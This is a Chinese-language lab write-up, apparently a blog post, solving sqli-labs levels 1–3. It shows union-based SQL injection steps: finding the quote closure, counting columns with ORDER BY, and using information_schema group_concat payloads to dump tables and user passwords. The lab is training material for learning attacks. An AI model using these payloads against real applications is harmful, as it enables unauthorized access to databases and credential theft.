sqli-labs-master sql注入靶场(1-3)

sqli-labs-master sql注入靶场(1-3)
pass-01
在这里插入图片描述
sql注入七步法
在这里插入图片描述

?id=1
在这里插入图片描述
1、求闭合
当闭合字符为’的时候
and 1=1的时候没报错
and1=2时候报错,所以闭合字符为’
在这里插入图片描述
在这里插入图片描述
2、改为and 1=1 然后order by试到3的时候没报错,试到4的时候报错,说明是三列的
在这里插入图片描述
在这里插入图片描述
3、改回and1=2,然后看回显点,这里是2和3
在这里插入图片描述
4、爆库
2的地方改为database()
库为security
在这里插入图片描述
5、爆表
2的地方改为

(select group_concat(table_name) from information_schema.tables where table_schema=database())

库下有四张表
emails,referers,uagents,users

在这里插入图片描述
6、爆列
将2的地方改为

(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database())

user表里有这三列
id,username,password
在这里插入图片描述
7、爆字段
将2的位置改为

(select group_concat(id,username,password) from users

爆出所有用户名和密码

在这里插入图片描述
pass-02
在这里插入图片描述
第二题什么闭合字符都不用加
and1=1时候没有报错
and1=2时候报错
必须是一个报错,另一个没有报错才算闭合成功
这里什么符号都不用加
一般我们用’ ‘’ ') ‘’)
这些符号来测试闭合
在这里插入图片描述
在这里插入图片描述
这里注意一个细节,order by 的时候,前面是and 1=1
union select的时候前面要是and1=2
回显点是2和3
在这里插入图片描述

爆表
group_concat(table_name) from information_schema.tables where table_schema=database()
爆列
group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()
爆字段
group_concat(id,username,password) from users

pass-03
在这里插入图片描述
求闭合
当符号是’)
的时候,and1=1没有报错
and1=2报错,所以闭合字符为’)
爆库爆表爆列爆字段跟上面一样

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值